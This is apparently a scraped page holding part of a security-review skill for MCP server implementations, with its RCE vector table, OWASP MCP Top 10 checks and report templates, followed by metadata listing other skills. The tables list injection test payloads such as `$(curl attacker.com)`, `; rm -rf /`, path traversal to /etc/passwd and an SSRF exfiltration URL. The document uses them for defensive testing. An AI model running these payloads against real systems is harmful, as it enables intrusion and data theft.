MCP-05 as NEEDS INVESTIGATION.\n- Keep the SDK current and patched, and verify which controls are automatic versus manual.\n\n**What to check**\n- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP\u002FSSE stack.\n- If no SDK is used, the repo contains direct evidence for auth\u002Fauthz, sessions, rate limits, and schema validation.\n- Dependency pinning and update hygiene show the SDK is maintained.\n\n**Key pitfall:** Hand-rolled servers often miss one \"small\" primitive—per-request auth, throttling, or validation—and the gaps compound.\n\n## RCE Vectors\n\n| Vector | Dangerous code | Safe alternative | Test payload | CWE |\n|---|---|---|---|---|\n| Command injection | `exec(\"convert \" + args.filename)`, `os.system(f\"process {user_input}\")`, `Process.Start(\"cmd\", \"\u002Fc \" + toolArg)` | `execFile(\"convert\", [args.filename])`, `subprocess.run([\"process\", user_input], shell=False)` | `; rm -rf \u002F`, `$(curl attacker.com)`, `| net user` must be rejected or treated literally | CWE-78 |\n| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected | CWE-94, CWE-95 |\n| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |\n| Path traversal | `fs.readFile(args.path)` without validation, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read\u002Fwrite\u002Fexecute | `..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd`, `C:\\Windows\\System32\\config\\SAM`, `..\\..\\..\\.env` must be rejected | CWE-22 |\n| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only | `{{7*7}}`, `${7*7}`, `\u003C%= 7*7 %>` must not render `49` | CWE-1336 |\n| Dependency hijacking | Unpinned deps such as `\"lodash\": \"^4.0.0\"`; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted\u002Fscoped registries, verify signatures where available | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review for CVEs and suspicious packages | CWE-829 |\n| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes\u002Fdomains, block RFC1918 and link-local targets, validate URLs before sending | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`, `http:\u002F\u002Flocalhost:8080\u002Fadmin`, `http:\u002F\u002Fattacker.com\u002F?data=stolen` must be rejected | CWE-918 |\n\n## OWASP MCP Top 10\n\n**MCP01:2025 — Token Mismanagement & Secret Exposure**\nTest: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived\u002Frotated tokens.\nPass: No hardcoded secrets, sensitive fields redacted, short-lived\u002Frotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.\n\n**MCP02:2025 — Privilege Escalation via Scope Creep**\nTest: Review scopes\u002Froles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.\nPass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.\n\n**MCP03:2025 — Tool Poisoning**\nTest: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.\nPass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.\n\n**MCP04:2025 — Supply Chain Attacks & Dependency Tampering**\nTest: Check for lock files, exact pinning, suspicious `postinstall` scripts, dependency audit results, and trusted registries.\nPass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.\n\n**MCP05:2025 — Command Injection & Execution**\nTest: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test `; ls`, `$(whoami)`, `| cat \u002Fetc\u002Fpasswd`.\nPass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, `shell=True` with formatted strings, or unsafe concatenation.\n\n**MCP06:2025 — Prompt Injection via Contextual Payloads**\nTest: Check whether tool output goes back to the LLM, whether external content is sanitized\u002Ftruncated\u002Fsandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.\nPass: Tool outputs are data, untrusted content is sanitized\u002Ftruncated\u002Fsandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.\n\n**MCP07:2025 — Insufficient Authentication & Authorization**\nTest: Send requests without auth and with expired\u002Finvalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.\nPass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.\n\n**MCP08:2025 — Lack of Audit and Telemetry**\nTest: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.\nPass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.\n\n**MCP09:2025 — Shadow MCP Servers**\nTest: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev\u002Fstaging isolation; verify an owner and review trail.\nPass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev\u002Ftest exposure into production networks, or no ownership.\n\n**MCP10:2025 — Context Injection & Over-Sharing**\nTest: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.\nPass: Minimal data is returned, sensitive fields are masked\u002Fexcluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.\n\n## Compliance Output Format\n\nIn every summary table below, the **Justification** cell must cite specific file\u002Fline evidence for the status.\n\n### Control summary\n\n| Control | Name | Status | Justification |\n|---|---|---|---|\n| MCP-01 | Auth & Identity isolation | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION \u002F N\u002FA | … |\n| MCP-02 | Secure Session Management | … | … |\n| MCP-03 | Rate limiting & abuse protection | … | … |\n| MCP-04 | Input schema validation | … | … |\n| MCP-05 | Production SDK usage | … | … |\n\nUse **PASS** only when the code clearly satisfies the control. Use **FAIL** when the violation is observable. Use **NEEDS INVESTIGATION** when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.\n\n### RCE summary\n\n| Vector | Status | Justification |\n|---|---|---|\n| Command injection | SAFE \u002F AT RISK \u002F N\u002FA | … |\n| Dynamic code evaluation | … | … |\n| Unsafe deserialization | … | … |\n| Path traversal | … | … |\n| SSTI | … | … |\n| Dependency hijacking | … | … |\n| SSRF | … | … |\n\n### OWASP summary\n\n| Risk | Status | Justification |\n|---|---|---|\n| MCP01:2025 | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION | … |\n| MCP02:2025 | … | … |\n| MCP03:2025 | … | … |\n| MCP04:2025 | … | … |\n| MCP05:2025 | … | … |\n| MCP06:2025 | … | … |\n| MCP07:2025 | … | … |\n| MCP08:2025 | … | … |\n| MCP09:2025 | … | … |\n| MCP10:2025 | … | … |\n\n### Manual follow-ups\nList every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.\n\n## Exception process\n- **Document the gap:** Identify the unmet control, the exact deviation, residual risk, and any compensating controls.\n- **Get explicit approval:** Route the exception through security\u002Frelease approval with an owner and an expiration or review date.\n- **Track and re-evaluate:** Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.\n",{"name":5,"description":7},"main","5269f7ea2d6c3a9bfda5ed878b6726cf509121fd","skills\u002Fmcp-implementation-security-review",5344,"https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot","https:\u002F\u002Fawesome-copilot.github.com\u002F","https:\u002F\u002Fgithub.com\u002Fgithub","https:\u002F\u002Fgithub.com\u002Fabout","How people build software.","2026-11-13 02:05:36",{"source":8,"skillName":5,"commands":67,"prompt":77,"zipAvailable":78},[68,71,74],{"tool":69,"command":70},"npx","npx skills add github\u002Fawesome-copilot --skill mcp-implementation-security-review",{"tool":72,"command":73},"bunx","bunx skills add github\u002Fawesome-copilot --skill mcp-implementation-security-review",{"tool":75,"command":76},"pnpm","pnpm dlx skills add github\u002Fawesome-copilot --skill mcp-implementation-security-review","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-implementation-security-review\u002FSKILL.md",true,[],[81,109,136,165,198,215],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":91,"publishedAt":51},"01M70KXZNX9ES38N2A8M58ZZMZ","supabase-rls-policies","Write, review, and test Supabase Row Level Security (RLS) policies so that one user cannot read or change another user's rows. Use when creating or changing tables, policies, views, or security definer functions in a Supabase project, when reviewing a migration that touches RLS, or when asked to prove user isolation with pgTAP tests that sign in as two users.","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fsupabase-rls-policies\u002FSKILL.md",[87,90],{"categoryNo":88,"categoryName":89,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[92,93,94,95,96,30,24,97,98,99,26,100,101,102,103,104,105,106,107,108],"supabase","rls","supabase rls","supabase rls policies","project","change","read","write","isolation","tables","as","tests","prove","use","users","functions","with",{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":116,"publishedAt":51},"01M70KWA5YWXDV6V8DZ19E3T2Y","skill-distribution-audit","Audit a skill collection before release or investigate installer omissions, archived\u002Ftemplate leakage, duplicate identities, and manifest drift. Reconcile the intended public source set, distribution manifest, and actual discovery output for a specified consumer version. Includes a deterministic set-comparison helper.","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fskill-distribution-audit\u002FSKILL.md",[115],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,39,135],"distribution","skill distribution audit","audit","SET","deterministic","installer","for","discovery","comparison","helper","manifest","version","collection","drift","output","investigate","duplicate","template","reconcile",{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":140,"sourceHtmlUrl":141,"categories":142,"keywords":148,"publishedAt":51},"01M70KCJPFVW7PPQ49CC5R8JGK","logicapps-custom-code-net10-migration","Migrate Azure Logic Apps Standard local-function custom-code projects from .NET 8 to .NET 10. Use for legacy Logic Apps custom-code workspace upgrades, project\u002Fpackage configuration, custom-worker settings, publication, and integrated VS Code debugging. Not for ordinary .NET applications, standalone Azure Functions, Consumption workflows, or cloud deployment.","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Flogicapps-custom-code-net10-migration\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Flogicapps-custom-code-net10-migration\u002FSKILL.md",[143],{"categoryNo":144,"categoryName":145,"taxonomyType":146,"taxonomyTypeDesc":147},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[149,42,150,151,152,153,123,96,154,155,156,157,158,159,160,105,161,162,163,164],"custom","logicapps custom code net10 migration","migration","projects","standalone","deployment","applications","local","azure","worker","upgrades","package","apps","Legacy","debugging","workflows",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":169,"sourceHtmlUrl":170,"categories":171,"keywords":176,"publishedAt":51},"01M6AEBN37RQMXJ3298PEY7PG1","winmd-api-search","Find and explore Windows desktop APIs. Use when building features that need platform capabilities — camera, file access, notifications, UI controls, AI\u002FML, sensors, networking, etc. Discovers the right API for a task and retrieves full type details (methods, properties, events, enumeration values).","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fwinmd-api-search\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fwinmd-api-search\u002FSKILL.md",[172,175],{"categoryNo":173,"categoryName":174,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":144,"categoryName":145,"taxonomyType":146,"taxonomyTypeDesc":147},[177,178,179,180,181,182,183,184,185,37,186,187,188,189,190,30,191,192,193,194,195,123,196,197],"winmd api search","search","api","windows","desktop","file access","enumeration","ui","ml","networking","capabilities","notifications","explore","access","features","full","camera","events","platform","methods","controls",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":202,"licenseFileUrl":203,"sourceHtmlUrl":204,"categories":205,"keywords":211,"publishedAt":51},"01M6AE571R3SC1ZGE202B3NB5S","resemble-detect","Deepfake detection and media safety — detect AI-generated audio, images, video, and text, trace synthesis sources, apply watermarks, verify speaker identity, and analyze media intelligence using Resemble AI","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fresemble-detect\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fresemble-detect\u002FSKILL.md",[206,207,210],{"categoryNo":173,"categoryName":174,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":208,"categoryName":209,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[212,120,37,213,214],"resemble detect","https","identity",{"skillNo":216,"name":217,"nameZh":6,"description":218,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":202,"licenseFileUrl":219,"sourceHtmlUrl":220,"categories":221,"keywords":226,"publishedAt":51},"01M6AE30BSK2HCY4TQQ22Z8JRD","quality-playbook","Run a complete quality engineering audit on any codebase. Derives behavioral requirements from the code, generates spec-traced functional tests, runs a three-pass code review with regression tests, executes a multi-model spec audit (Council of Three), and produces a consolidated bug report with TDD-verified patches. Finds the 35% of real defects that structural code review alone cannot catch. Works with any language. Trigger on 'quality playbook', 'spec audit', 'Council of Three', 'fitness-to-purpose', or 'coverage theater'.","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fquality-playbook\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fquality-playbook\u002FSKILL.md",[222,225],{"categoryNo":223,"categoryName":224,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[227,228,229,230,42,24,9,119,231,232,213,41,233,234,235,236,237,238,239,240,241,242,103,243,34,244,245],"playbook","quality playbook","quality","code review","tdd","run","spec","bug report","council","engineering","functional","spec audit","bug","verified","multi-model","three","coverage","regression","structural"]